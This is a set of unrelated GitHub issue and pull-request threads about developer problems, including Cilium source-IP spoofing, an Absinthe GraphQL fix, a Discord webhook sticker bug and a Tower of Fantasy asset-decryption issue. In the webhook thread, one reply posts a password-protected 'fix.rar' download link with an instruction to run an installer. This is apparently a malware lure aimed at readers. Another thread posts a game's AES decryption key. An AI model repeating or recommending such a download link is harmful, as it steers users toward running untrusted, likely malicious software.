CFP: Allow certain pods to emit traffic from other IPs

Hi All,
I'm using Ciliun CNI and it drops packets with the message "Invalid  source ip".
In my cluster, I have a pod running a proxy service (envoy) which forwards packets of various clients to a Pod running a VPN server.
I have to preserve the source IPs of my clients, so when the envoy Pod forwards packets to the desired Pod - the src IP is still the address of the client which initiated the request (and not the IP of my envoy Pod).
to sum it up, the packet flow is: client -> envoy Pod -> VPN server Pod
and the src ip remains the same for every hop (and determined by the IP of the client)
so as a result the envoy Pod emits traffic with src IP that is not it's own IP.
I think I understand the reason why it's being blocked by cilium,
so what I want to understand is how can I disable the behaviour to allow my pod to emit traffic with packets containg other src IPs?

The key difference between Slack and here is that Slack is more ephemeral. It can be helpful for more active synchronous discussions and brainstorming, but the history will be lost within a few months.

how come Cilium do not drop packets when using LB and persisting src ip?

This is quite an insightful question actually. Typically Cilium assumes that applications running in the pods are untrusted, and that an adversary may have control over the code executed in that environment. As such, if someone is able to cause that container to spoof traffic then Cilium should not allow that to then escalate to wider Cilium node or cluster privileges/access. On the other hand, when implementing LB the traffic is presumably either coming into the environment from outside, in which case it is likely that there are some protections around spoofing and the source of that traffic, or alternatively someone has access to the underlying network, at which point they could generate that traffic regardless of Cilium's role in LB so Cilium does not provide a vector for privilege escalation in the same sense.

I am trying to deploy an application that requires to be able to spoof packets (https://github.com/sleinen/samplicator); it actually replicates traffic to multiple destinations by keeping unchanged the original IP address.
Did you @or-adar @joestringer by any chance find a way to do this?


Integrate nod-rs for disc image extraction

https://github.com/encounter/nod-rs

Added in 4dacf2f39a5e4761e749eafba42efbef3936dd2e


Improve code to help troubleshoot #1577, by more validation of UUID codec

What this PR does:
Adds one more check to ensure invalid UUIDs decoding is caught by gRPC; also adds bit more testing.
Which issue(s) this PR fixes:
Does not fix, but hopefully helps to eventually fix #1577
Checklist

[ ] Changes manually tested
[x] Automated Tests added/updated
[ ] Documentation added/updated
[x] CLA Signed: DataStax CLA

/gcbrun

For some reason getting much more persistent JWT failures today.

/gcbrun

/gcbrun


Parse empty operation name as nil

Rationale from the commit message:

Some clients e.g. apollo-client send an empty string instead of null as
the operation name when there is none. The graphql-js reference implementation
accepts it as that empty string is falsey. I'm not sure if that's intended
but since the reference supports it then Absinthe should probably support it as
well.

Please let me know what you think of this and whether any changes are needed. Thanks!

Weird I thought I handled this a while ago. Thanks!

@benwilson512 If you can merge this also into the v1.2 branch, we'd appreciate it!

done.

I am running into a (probably) related problem when running Apollo's codegen tool:
apollo-codegen download-schema http://localhost:8080/graphql --output schema.json

This produces this error:
15:29:25.906 [error] #PID<0.475.0> running Contracts.Router terminated
Server: localhost:4000 (http)
Request: POST /graphql
** (exit) an exception was raised:
    ** (UndefinedFunctionError) function Plug.Conn.Unfetched.fetch/2 is undefined (Plug.Conn.Unfetched does not implement the Access behaviour)
        (plug) Plug.Conn.Unfetched.fetch(%Plug.Conn.Unfetched{aspect: :params}, "operationName")
        (elixir) lib/access.ex:148: Access.fetch/2
        (elixir) lib/access.ex:179: Access.get/3
        (absinthe_plug) lib/absinthe/plug.ex:126: Absinthe.Plug.prepare/3
        (absinthe_plug) lib/absinthe/plug.ex:89: Absinthe.Plug.execute/2

I get this on both version 1.2 and master.

It looks like your params are not yet fetched. You need to have Plug.Parsers prior to your plug Absinthe.Plug.

Ah yes, slight facepalm there. Thanks!
Michel

On 21 nov. 2016, at 15:58, Ben Wilson<EMAIL_ADDRESS>wrote:
It looks like your params are not yet fetched. You need to have Plug.Parsers prior to your plug Absinthe.Plug.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.


Keyboard shortcut to view full error message

Ruby test failures are often multi-line. Only the first line is shown:

Notice we can't see the actual value.
Would like a command to view the full message

When you click on the failed test in the Test Explorer, the log panel will be opened showing the full error message for that test. Furthermore, there should be a Code Lens "Show Log" above failed tests that you can click to show the log panel.

Can this be done with the keyboard?
Looking for a fast test, fix, re-test loop during development.

Once you have opened the log panel by clicking on the test in the Test Explorer or clicking the "Show Log" code lens, the log panel will be updated every time you run that test, so that should be perfect for a fast test, fix, re-test loop.


timeout field is allowed to be null

The timeout field for the timetracker portion of the application is allowed to be null. This causes all sorts of issues within the application.
Potential solution is to set the timeout field to the current DateTime.

Issue has been fixed as of f270cf797abf4084118eae2350c49f97e0be05e6


[BUG] Webhook cannot execute stickers

Library Version
5.13.1
Describe the Bug
The discord webhook execution API does not contain the sticker field according to https://discord.com/developers/docs/resources/webhook#execute-webhook-jsonform-params.
Steps to Reproduce

Create a custom sticker
Execute the following code to send the sticker with webhook

Expected Results
It complains empty content sent with webhook
Minimal Reproducible Code
class TemplateCog(interactions.Extension):
    @interactions.slash_command(
        "test", description="test command", scopes=[DEV_GUILD] if DEV_GUILD else None
    )
    async def test_cmd(self, ctx: interactions.SlashContext):
        """Register as an extension command"""
        a = await ctx.channel.fetch_webhooks()
        sticker = await ctx.guild.fetch_all_custom_stickers()
        await a[0].send(username="ABCDEFG", avatar_url=ctx.author.avatar_url, stickers=sticker)

Traceback
Traceback (most recent call last):
  File "venv/lib/python3.11/site-packages/interactions/client/client.py", line 2018, in __dispatch_interaction
    response = await callback
               ^^^^^^^^^^^^^^
  File "venv/lib/python3.11/site-packages/interactions/client/client.py", line 1886, in _run_slash_command
    return await command(ctx, **ctx.kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "venv/lib/python3.11/site-packages/interactions/models/internal/command.py", line 132, in __call__
    await self.call_callback(self.callback, context)
  File "venv/lib/python3.11/site-packages/interactions/models/internal/application_commands.py", line 841, in call_callback
    return await self.call_with_binding(callback, ctx)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "venv/lib/python3.11/site-packages/interactions/models/internal/callback.py", line 44, in call_with_binding
    return await callback(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "extensions/template.py", line 26, in test_cmd
    await ctx.send(f"{ctx.channel.name}")
  File "venv/lib/python3.11/site-packages/interactions/models/discord/webhooks.py", line 255, in send
    message_data = await self._client.http.execute_webhook(
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "venv/lib/python3.11/site-packages/interactions/api/http/http_requests/webhooks.py", line 150, in execute_webhook
    return await self.request(
           ^^^^^^^^^^^^^^^^^^^
  File "venv/lib/python3.11/site-packages/interactions/api/http/http_client.py", line 467, in request
    await self._raise_exception(response, route, result)
  File "venv/lib/python3.11/site-packages/interactions/api/http/http_client.py", line 488, in _raise_exception
    raise HTTPException(response, response_data=result, route=route)
interactions.client.errors.HTTPException: HTTPException: 400|Bad Request || Cannot send an empty message

Checklist

[X] I have searched the open issues for duplicates.
[X] I have shown the entire traceback, if possible.
[X] I have removed my token from display, if visible.
[X] I have attempted to debug this myself, and I believe this issue is with the library

Additional Information
https://discord.com/developers/docs/resources/webhook#execute-webhook-jsonform-params

I suggest the sticker parameter to be removed all together.
Additionally, the type hint of the parameter only works for list. I won't bother creating another issue as this won't be necessary as this field is deleted

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Search does not inspect state value

Current scenario
Using the search bar with the word "stretch-fwint" that appears in some states, does not show any row
Is that expected?? It seems that searching is not inspecting state values

If this is not expect, i can go to resolve this


Configure Renovate

Welcome to Renovate! This is an onboarding PR to help you understand and configure settings before regular Pull Requests begin.
:vertical_traffic_light: To activate Renovate, merge this Pull Request. To disable Renovate, simply close this Pull Request unmerged.

Detected Package Files

docker/docker-compose.yml (docker-compose)
contrib/elektra-changelog-builder/Dockerfile (dockerfile)
docker/Dockerfile (dockerfile)
plugins/automation/scripts/Dockerfile (dockerfile)
docker/Dockerfile.integration-tests (dockerfile)
package.json (npm)
.ruby-version (ruby-version)
You have configured Renovate to use branch master as base branch.

What to Expect
With your current configuration, Renovate will create 15 Pull Requests:

chore(deps): update alpine docker tag to v3.10

Schedule: "at any time"
Branch name: renovate/docker-alpine-3.x
Merge into: master
Upgrade alpine to 3.10

chore(deps): update dependency @nivo/bar to ^0.59.0

Schedule: "at any time"
Branch name: renovate/nivo-bar-0.x
Merge into: master
Upgrade @nivo/bar to ^0.59.0

chore(deps): update dependency axios to ^0.19.0

Schedule: "at any time"
Branch name: renovate/axios-0.x
Merge into: master
Upgrade axios to ^0.19.0

chore(deps): update dependency ip-range-check to ^0.2.0

Schedule: "at any time"
Branch name: renovate/ip-range-check-0.x
Merge into: master
Upgrade ip-range-check to ^0.2.0

chore(deps): update dependency react-bootstrap to ^0.32.0

Schedule: "at any time"
Branch name: renovate/react-bootstrap-0.x
Merge into: master
Upgrade react-bootstrap to ^0.32.0

chore(deps): update dependency ruby to v2.6.5

Schedule: "at any time"
Branch name: renovate/ruby-2.x
Merge into: master
Upgrade ruby to 2.6.5

chore(deps): update postgres docker tag to v9.6

Schedule: "at any time"
Branch name: renovate/docker-postgres-9.x
Merge into: master
Upgrade postgres to 9.6

chore(deps): update ruby docker tag

Schedule: "at any time"
Branch name: renovate/docker-ruby-2.x
Merge into: master
Upgrade ruby to 2.6.5-slim-stretch
Upgrade ruby to 2.6-alpine
Upgrade ruby to 2.6-alpine3.7

chore(deps): update dependency babel-jest to v24

Schedule: "at any time"
Branch name: renovate/babel-jest-24.x
Merge into: master
Upgrade babel-jest to ^24.0.0

chore(deps): update dependency core-js to v3

Schedule: "at any time"
Branch name: renovate/core-js-3.x
Merge into: master
Upgrade core-js to ^3.0.0

chore(deps): update dependency d3-force to v2

Schedule: "at any time"
Branch name: renovate/d3-force-2.x
Merge into: master
Upgrade d3-force to ^2.0.0

chore(deps): update dependency d3-scale to v3

Schedule: "at any time"
Branch name: renovate/d3-scale-3.x
Merge into: master
Upgrade d3-scale to ^3.0.0

chore(deps): update dependency jest to v24

Schedule: "at any time"
Branch name: renovate/jest-24.x
Merge into: master
Upgrade jest to ^24.0.0

chore(deps): update dependency react-redux to v7

Schedule: "at any time"
Branch name: renovate/react-redux-7.x
Merge into: master
Upgrade react-redux to ^7.0.0

chore(deps): update dependency redux to v4

Schedule: "at any time"
Branch name: renovate/redux-4.x
Merge into: master
Upgrade redux to ^4.0.0

:question: Got questions? Check out Renovate's Docs, particularly the Getting Started section.
If you need any further assistance then you can also request help here.

This PR has been generated by Renovate Bot.

Renovate is disabled
Renovate is disabled due to lack of config. If you wish to reenable it, you can either (a) commit a config file to your base branch, or (b) rename this closed PR to trigger a replacement onboarding PR.


Fatal Error calling isArray() in getMessages()

I get this error when using the plugin:
( ! ) Fatal error: Call to a member function toArray() on array in /vagrant/vendor/zendframework/zend-mvc-plugin-flashmessenger/src/FlashMessenger.php on line 300
From what I can see, when the session is loaded back in the messages are populated as a plain array rather than an array object.
I'm including this plugin in a zend-mvc v3 project.
This has been previously reported against zend-mvc: https://github.com/zendframework/zend-mvc/issues/73

Can you please provide some information on how to reproduce the issue, so we can write tests? Thanks!

I've spent some time trying to create a basic example that illustrates this bug but so far have not succeeded. I've create a project using the skeleton app and included the flashmessenger plugin but cannot reproduce this bug which leads me to think that it must be when it is used in combination with non-default session storage. My app that is encountering the bug stores sessions in the Db using DbTableGateway savehandler.
I'm going to see if I can split that code out into my skeleton app to recreate the bug.

i am encountering this bug, while my colleague with the exact same application on his machine does not. very strange, i really dont know what differs on our systems, it runs in a docker container with the same dockerfile.

try using SanSessionToolbar to reproduce it.

Aha! The SanSessionToolbar is the common factor here.
I couldn't reproduce it when trying to build a test case but I use the SanSessionToolbar in my dev environment. Thanks for your help pinpointing this m0rg

@samsonasik do you have any ideas as to why this might be happening?

Please create issue at https://github.com/samsonasik/SanSessionToolbar/issues with steps to reproduce the issue, or sample repo that reproduce the issue, thanks ;)

Thanks, that fixed it for me. Thank you, samsonasik

I'm also still having this problem.

@exptom
With or without SanSessionToolbar?

@froschdesign With SanSessionToolbar enabled.

@samsonasik
Is this error in your SanSessionToolbar or is this an error of the flashmessenger plugin?
Thanks!

I can't reproduce it. any minimal reproduce-able repository I can try ?

@exptom also, please submit an issue at https://github.com/samsonasik/SanSessionToolbar/issues with minimal reproducable repo so I can check if you sure it is an SanSessionToolbar bug. Thank you.

@m0rg @exptom I finally can reproduce the issue with idempotent call. I've tagged  SanSessionToolbar 1.0.6 for it.
Please composer update and make sure SanSessionToolbar in the last entry in config/modules.config.php or config/application.config.php.

@samsonasik 1.0.6 appears to have fixed the issue. Thank you so much for your help! :smile:


No Mesos debug info on Openstack deployment

I get this:

And I was hoping for this:
http://dw8zztroqvu2r.cloudfront.net/assets/learn/debugging/mesos-console-slave-a451a156c6727fc96bd6502275c34787.png

From the screenshot it looks like:

no master is elected
none of the followers have registered as compute resources

We may have to look at a few things to figure out what is going on.
Can you make sure:

that zookeeper is running on the control nodes
That mesos components can resolve each other's IPs

Log files for both masters and slaves are in /var/log/mesos.

Found the logs, thanks! I'll return to the UI later, there is plenty of debugging to do at /var/log/mesos.


Blog entry generator

Creating generator for writing a new blog entry.

Sorry my mistake didn't mean to submit this to his repository.


Rework tado component

Description:
This PR reworks the Tado component:

Use the dispatcher and should_poll=False on the entities. This fixes some timing issues where we had to wait an additional polling period for the entities to get valid data.
Removed functions that were not implemented and we don't need according to our SUPPORT_FLAGS
Code cleanup
Don't force to refresh all zones when one zone is changed.
Fix turning on the climate when we don't have a temperature.
Remove obsolete convert_temperature's.

Checklist:

[X] The code change is tested and works locally.
[X] Local tests pass with tox. Your PR cannot be merged unless tests pass
[X] There is no commented out code in this PR.
[X] I have followed the development checklist

If user exposed functionality or configuration variables are added/changed:

[ ] Documentation added/updated in home-assistant.io

If the code communicates with devices, web services, or third-party tools:

[X] The manifest file has all fields filled out correctly. Update and include derived files by running python3 -m script.hassfest.
[X] New or updated dependencies have been added to requirements_all.txt by running python3 -m script.gen_requirements_all.
[X] Untested files have been added to .coveragerc.

Please split this PR into at least two PRs, one for the refactor and one to add the water_heater platform.

@MartinHjelmare
Okay, I will do this.

I'll put the water_heater back in a new PR.

@ejaviga could you take a look if your air conditioning is still working fine with these changes?

@MartinHjelmare is this okay for you? (I'm highlighting you since you've looked at this requests in the past).
When this gets merged, I can open the new PR for the water_heater.

Sorry, I'm busy this week. I'll try to find some time.

I've modified the data flow like @balloob asked. Now, the component registers for the sensor updates, and stores them. It still uses the dispatcher to notify the platforms.
The platform will fetch the stored data the first time, and uses the dispatcher to be notified of updates.


How to use the '--config-id' command line option

Hi,
I want to use keepalived's conditional configuration which requires the image to pass the '--config-id' command line option to keepalived.
Apparently this is blocked as can be seen here:
$ docker run --rm --cap-add=NET_ADMIN --net=host --name kad -v /data/keepalived.conf:/container/service/keepalived/assets/keepalived.conf osixia/keepalived:2.0.19 --copy-service --config-id main
usage: run [-h] [-e] [-s] [-p] [-f] [-o {startup,process,finish}]
           [-c COMMAND [WHEN={startup,process,finish} ...]] [-k]
           [--wait-state FILENAME] [--wait-first-startup] [--keep-startup-env]
           [--copy-service] [--dont-touch-etc-hosts] [--keepalive]
           [--keepalive-force] [-l {none,error,warning,info,debug,trace}]
           [MAIN_COMMAND [MAIN_COMMAND ...]]
run: error: unrecognized arguments: --config-id

Is it supported somehow?
Thanks

OK, found the way to set it:
-e KEEPALIVED_COMMAND_LINE_ARGUMENTS="--config-id main"


Remove array syntax need for string/buffer/inet

These types can, and should be, used without an explicit size. The size will get inferred in later AST passes.
Checklist

[ ] Language changes are updated in man/adoc/bpftrace.adoc
[ ] User-visible and non-trivial changes updated in CHANGELOG.md
[ ] The new behaviour is covered by tests

Note: a lot of this type logic will get removed from the lexer/parser but I still want to support strings without specifying size before landing the let syntax PR: https://github.com/bpftrace/bpftrace/pull/3461


Updated the css file for better readability

Deleted redundant codes
Applied appropriate spacing
Added and updated comments

Thank you @Victorthedev for you amazing contribution..


mGear: Create a complete test suite

Create a complete test suite for mGear

Using Nose
Using Doctest

This refers to Travis CI: https://github.com/miquelcampos/mgear/pull/87

This issue was moved to mgear-dev/mgear_core#1


Tower of Fantasy 2.2 error

Hi!
Since I saw ToF is in EGame.cs, I thought I will put this here.
With the 2.2 patch the .pak files got changed yet again, whenever you try to open any uasset file you get this error:
Invalid uasset magic: 0x{Tag:X8} != 0x{PACKAGE_FILE_TAG:X8}, because Tag != PACKAGE_FILE_TAG && Tag != PACKAGE_FILE_TAG_SWAPPED.
Global is only using the 2.0 CN files so it currently works, but when they decide to swap to the 2.2 client it will be an issue over there as well. I tried to use the old method of getting the offset, but now it doesn't work anymore as it's not just simply xoring the numbers with an offset (at least I think it's not).
What I found weird is that umodel works just fine even with 2.2.
~PerkyJerky

Just a quick update:
The offset is the same, so that's not the issue. I got bamboozled, but after extracting the uasset files with quickbms the same offset works. Something else is broken, as it can't even extract the raw uasset files, it just throws out some gibberish.

Do you have the AES key for this update?

0x2F5D80E5AF41285E090F711CC462B963275C428648CB3C19FC1CC85ADA3326C2

Should be fixed now, you can close this issue if there are no more breaking issues with 2.2. Thank you for your patience.

Seems like everything is working, thank you for the fix!

Make sure to pull changes again because I've made some fixes to keep compatibility with other UE4-5 games and older versions of ToF.


self contained example (with sample data file)

The README is a nice place to start but it would be great if there were a self-contained example of creating and working with tables, including any input files. This request is partially motivated by the fact that the bmi data.txt file referenced doesn't seem to be included.

Yeah, they should be added. In the meantime, you can inspect those files https://github.com/sirherrbatka/statistical-learning/tree/master/examples which are in a different system.

Wow, this looks very promising! Let me take a look in the next day or two and see if I have any specific comments. Thanks!

It's great to have an example or two, but it might be nice to remove the reference to vellum-plot (or put that part as a vellum-plot example) until vellum-plot is available in quicklisp.

Also, I get the following error when I try to run the first start-date example:
The value
  "2021-03-07"
is not of type
  LOCAL-TIME:TIMESTAMP
   [Condition of type TYPE-ERROR]

Restarts:
 0: [CONTINUE] Retry assertion.
 1: [RETRY] Retry SLIME REPL evaluation request.
 2: [*ABORT] Return to SLIME's top level.
 3: [ABORT] abort thread (#<THREAD "repl-thread" RUNNING {1001560243}>)

Backtrace:
  0: (SB-KERNEL:ASSERT-ERROR (TYPEP LOCAL-TIME::TIME-A (QUOTE LOCAL-TIME:TIMESTAMP)) 1 LOCAL-TIME::TIME-A "2021-03-07" NIL TYPE-ERROR :DATUM "2021-03-07" :EXPECTED-TYPE LOCAL-TIME:TIMESTAMP)
  1: (LOCAL-TIME:TIMESTAMP< "2021-03-07" "2021-03-06")
  2: (LOCAL-TIME:TIMESTAMP< "2021-03-07" "2021-03-06") [more]
  3: ((LAMBDA (#:!ELEMENT0) :IN #:!FUNCTION4) #<unavailable argument>)
  4: ((LAMBDA (CL-DATA-STRUCTURES.ALGORITHMS.META::X) :IN CL-DATA-STRUCTURES.ALGORITHMS.META:APPLY-AGGREGATION-FUNCTION) #<VELLUM.TABLE::TABLE-ROW {101BED39E3}>)
  5: ((:METHOD CL-DATA-STRUCTURES:TRAVERSE (VELLUM.TABLE:STANDARD-TABLE-RANGE T)) #<VELLUM.TABLE:STANDARD-TABLE-RANGE {101BED3B43}> #<FUNCTION (LAMBDA (CL-DATA-STRUCTURES.ALGORITHMS.META::X) :IN CL-DATA-ST..
  6: ((:METHOD CL-DATA-STRUCTURES:ACROSS (CL-DATA-STRUCTURES:FUNDAMENTAL-RANGE T)) #<VELLUM.TABLE:STANDARD-TABLE-RANGE {101BED18B3}> #<FUNCTION (LAMBDA (CL-DATA-STRUCTURES.ALGORITHMS.META::X) :IN CL-DATA-S..
  7: ((:METHOD CL-DATA-STRUCTURES.ALGORITHMS.META:APPLY-AGGREGATION-FUNCTION (T CL-DATA-STRUCTURES.ALGORITHMS.META:AGGREGATION-FUNCTION T)) #<VELLUM.TABLE:STANDARD-TABLE-RANGE {101BED18B3}> #<CL-DATA-STRUC..
  8: ((LAMBDA ()))
  9: (SB-INT:SIMPLE-EVAL-IN-LEXENV (VELLUM:PIPELINE (*SOURCE-DATA*) (CL-DATA-STRUCTURES.ALGORITHMS:EXTREMUM (FUNCTION LOCAL-TIME:TIMESTAMP<) :KEY (VELLUM.HEADER:BRR DATE))) #<NULL-LEXENV>)
 10: (SB-INT:SIMPLE-EVAL-IN-LEXENV (SB-IMPL::%DEFPARAMETER (QUOTE *START-DATE*) (VELLUM:PIPELINE (*SOURCE-DATA*) (CL-DATA-STRUCTURES.ALGORITHMS:EXTREMUM # :KEY #)) (SB-C:SOURCE-LOCATION)) #<NULL-LEXENV>)
 11: (SB-INT:SIMPLE-EVAL-IN-LEXENV (DEFPARAMETER *START-DATE* (VELLUM:PIPELINE (*SOURCE-DATA*) (CL-DATA-STRUCTURES.ALGORITHMS:EXTREMUM # :KEY #))) #<NULL-LEXENV>)

Regarding the error, yeah, it was the error I've introduced in a foolish attempt to optimize the BIND-ROW expansion. I just reverted that error. If you could simply pull the latest master.
I would rather keep ploting example as it is more about the data preparation then the plot itself.

Do you have an idea how to catalog examples? I decided to add smaller examples, like the fresh multiplexing demonstrating what is done, but i am afraid that file name alone is insufficient.


SA1500 FixAll exception

Hi, I observed NullReferenceException while using SA1500 FixAll provider.
It happened in StyleCop.Analyzers.Helpers.LocationHelpers.GetLineSpan(this SyntaxToken token) while SyntaxToken was None (I guess default value) so the 'token.SyntaxTree' was null.
In method SA1500CodeFixProvider.GenerateBraceFixes the state was:
'braceToken' = CloseBraceToken
'previousToken' = CloseBraceToken
'nextToken' = None
then there follows call 'LocationHelpers.GetLineSpan(nextToken)'.
Stack is here:
at StyleCop.Analyzers.Helpers.LocationHelpers.GetLineSpan(SyntaxToken token)
at StyleCop.Analyzers.LayoutRules.SA1500CodeFixProvider.GenerateBraceFixes(Document document, IndentationSettings indentationSettings, ImmutableArray1 braceTokens)    at StyleCop.Analyzers.LayoutRules.SA1500CodeFixProvider.FixAll.<FixAllInDocumentAsync>d__5.MoveNext() --- End of stack trace from previous location where exception was thrown ---    at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)    at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)    at System.Runtime.CompilerServices.ConfiguredTaskAwaitable1.ConfiguredTaskAwaiter.GetResult()
at StyleCop.Analyzers.Helpers.DocumentBasedFixAllProvider.d__5.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Runtime.CompilerServices.ConfiguredTaskAwaitable1.ConfiguredTaskAwaiter.GetResult()    at Microsoft.CodeAnalysis.CodeActions.CodeAction.<ComputeOperationsAsync>d__12.MoveNext() --- End of stack trace from previous location where exception was thrown ---    at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)    at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)    at System.Runtime.CompilerServices.ConfiguredTaskAwaitable1.ConfiguredTaskAwaiter.GetResult()
at Microsoft.CodeAnalysis.CodeActions.CodeAction.d__10.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Runtime.CompilerServices.ConfiguredTaskAwaitable`1.ConfiguredTaskAwaiter.GetResult()
at Microsoft.CodeAnalysis.CodeActions.CodeAction.d__9.MoveNext()

Thanks for reporting this. I had no trouble in reproducing this.


Documentation-only release

I've updated the text around our citations to encourage people to check back later for an up-to-date citation. As such, I'd like to update the documentation both on GitHub and out on PyPi.
@mzy2240 - would you be willing to create a new release? No change to version number, no need to run the tests, etc. All we need is rebuilt documentation and an update on PyPi (so the top-level README gets updated).

Here's the changes I made: e4c0f26811eece34261f4d2c8385a1d6a144a88c

This issue is solved in https://github.com/mzy2240/ESA/commit/267ae31eef744cb63c446aea36e806088f7d6c89


Exception raised in set_context()

Describe the bug: ...
[host: noj-59dfd94498-45jdw|pid: 24294|timestamp:<PHONE_NUMBER>.956608] [ERROR|elasticapm.errors:188] Exception during timing of request
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/dist-packages/elasticapm/contrib/django/middleware/__init__.py", line 185, in process_response
    elasticapm.set_context(lambda: self.client.get_user_info(request), "user")
  File "/usr/local/lib/python3.7/dist-packages/elasticapm/traces.py", line 410, in set_context
    transaction.context[key].update(data)
TypeError: 'function' object is not iterable

Related codes:
https://github.com/elastic/apm-agent-python/blob/ae1c777a975c02f02eb12fe8aa9e3a9077168ef1/elasticapm/traces.py#L615-L631
And when I print data when meeting exception, the output is:
<function TracingMiddleware.process_response.<locals>.<lambda> at 0x7f39e36a00e0>

I guess maybe we have to deal with the situation that data is callable and transaction.is_sampled == False.
Expected behavior:
set_context() should handle data in lambda type well.
Environment (please complete the following information)

OS: Linux
Python version: 3.7.4
Framework and version:  Django 2.1.9
APM Server version: -
Agent version: 4.2.2

@zry656565 thanks for opening this super detailed issue! I had a look, and as far I can tell, this happens if set_context() is called twice in an unsampled transaction, first with a dictionary, then with a callable. Something like this:
https://github.com/elastic/apm-agent-python/blob/187cc2bab109e8a8171471c4033e21a051b2cb1e/tests/instrumentation/transactions_store_tests.py#L424-L434
I opened #542 to address this issue. With that change, we will bail out early in set_context if the transaction is not sampled.

Cool, happy to know this. :+1:


bugfix: merging lanes would result in an error

There's a bug in `samtools merge --template-coordinate' that causes the output not to be correctly sorted.  Here, we re-sort via fgbio SortBam to ensure the output is properly sorted.
fgbio SortBam can be removed when the fix to the samtools bug is released.
See:
https://github.com/samtools/samtools/pull/2062

PR checklist

[ ] This comment contains a description of changes (with reason).
[ ] If you've fixed a bug or added code that should be tested, add tests!
[ ] If you've added a new tool - have you followed the pipeline conventions in the contribution docs
[ ] If necessary, also make a PR on the nf-core/fastquorum branch on the nf-core/test-datasets repository.
[ ] Make sure your code lints (nf-core lint).
[ ] Ensure the test suite passes (nf-test test main.nf.test -profile test,docker).
[ ] Check for unexpected warnings in debug mode (nextflow run . -profile debug,test,docker --outdir <OUTDIR>).
[ ] Usage Documentation in docs/usage.md is updated.
[ ] Output Documentation in docs/output.md is updated.
[ ] CHANGELOG.md is updated.
[ ] README.md is updated (including new tool citations and authors/contributors).

@SPPearce since while we're waiting for https://github.com/samtools/samtools/issues/2090, lets merge this, then we can create an issue to track the samtools issue

I think we want this in the next release. I’ll look at this in the next few days

Are we ready for a release now then @nh13 ?

@SPPearce I think so, is that something you want to get started on, if not, I can take a look this weekend.


Fix missed attestation

92c4e9d68063 ("Stale signing cert should not block sending device info") introduced a problem of missing EVE certs on the controller side if very first attestation request fails: specified commit ignores a send error of the attestation request and does not repeat attestation.
The bug can be reproduced by applying iptables rules rejecting 443 port on early boot, so that first send requests fail and attestation never happens again.
The fix is simple: on a completion callback repeat attestation in case of failure in 10 seconds delay to avoid tight fail-repeat loops.

@eriknordmark frankly, I could not find in the code how this message could be repeated and I doubt that the issue can cause the delay in coming node online, because if this is not a first boot you always read a config from the checkpoint. Anyway, I was targeting a different issue, when controller missed (for some reason) eve certs, and I think this PR could fix that. I tagged you in the original issue, could you please help me to analyse those attest logs?

FWIW what I saw was delay with a 'make installer_raw run_installer_raw run_target' and in that case it is a first boot. I'll try that again  once this PR is merged.


Runway centerline intercept improvements

This is a follow on from #158.  The aim is to have aircraft intercept and track the extended runway centerline instead of 'funneling' into the threshold. It is modeled after ILS intercept procedures and attempts to balance ILS/aircraft capabilities with ATC restrictions.
The major changes are:

Reducing capture width from 30 degrees to 10 degrees either side of center.
Include a negative score with announcement for intercept vectors over 30 degrees from runway angle.
Set assigned heading to the runway heading on intercept (fixes tracking off the runway on landing)
Make Aircraft.update() aware of path projection on the canvas to avoid spurious warnings and incorrect score updates.

Very nice.
A minor comment on the topic of the path projection (and the need to add the projected parameter to some functions) -  another possibility is to set something like this.projected = true rather than passing the parameter around.
This could maybe go in place of the hack I originally put in to not update the strip for projected paths:
  twin.updateStrip = function(){}; // ignore any calls to updateStrip() for the twin
So updateStrip(), updateTarget(), etc. could check this.projected.

Done, thank you that is a much better solution.

Super - thanks for cleaning up the code in canvas_draw_future_track as well.


[Event Request] Table 7320 Warehouse Shipment Header - OnBeforeWhseShptHeaderSetRange

Hi Team,
In table 7320 we need possibility to replace and avoid using standard code with our own. Having event with handling in the procedure LookupWhseShptHeader, would be perfect solution:

    [IntegrationEvent(false, false)]
    local procedure OnBeforeWhseShptHeaderSetRange(var WhseShptHeader: Record "Warehouse Shipment Header"; var IsHandled: Boolean)

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Redeploy: DeploymentBundle Settings are lost

Describe the bug
DeploymnetBundle Settings like DotnetPublishBuildConfiguration and DotnetPublishAdditionalBuildArguments in Elastic Beanstalk recipe and DockerBuildArgs in Fargate deployments are not persisted.  When doing a redeploy, you have to re-endter these values.
To Reproduce
Steps to reproduce the behavior:

In a web project run dotnet aws deploy.
Select Beanstalk
Customize the DotnetPublishAdditionalBuildArguments: "/p:DefineConstants=TEST"
Deploy
Run dotnet aws deploy.
Select previously deployed stack
Notice that DotnetPublishAdditionalBuildArguments is blank.

Expected behavior
DotnetPublishAdditionalBuildArguments  should have value  "/p:DefineConstants=TEST"
Screenshots
If applicable, add screenshots to help explain your problem.

Environment (please complete the following information):

CLI Version: [eg. 1.0.0] 0.1.1-beta.20210315205437.06db70a
Include the output of dotnet --info 5.0.201
OS Info: Windows 10

Additional context
Add any other context about the problem here.

This is a :bug: bug report

Appears to be fixed in version 1.10.4:
Current settings (select number to change its value)
----------------------------------------------------
1 . EC2 Instance Type:
2 . Beanstalk Platform: arn:aws:elasticbeanstalk:us-east-1::platform/.NET Core running on 64bit Amazon Linux 2/2.5.0
3 . Managed Platform Updates:
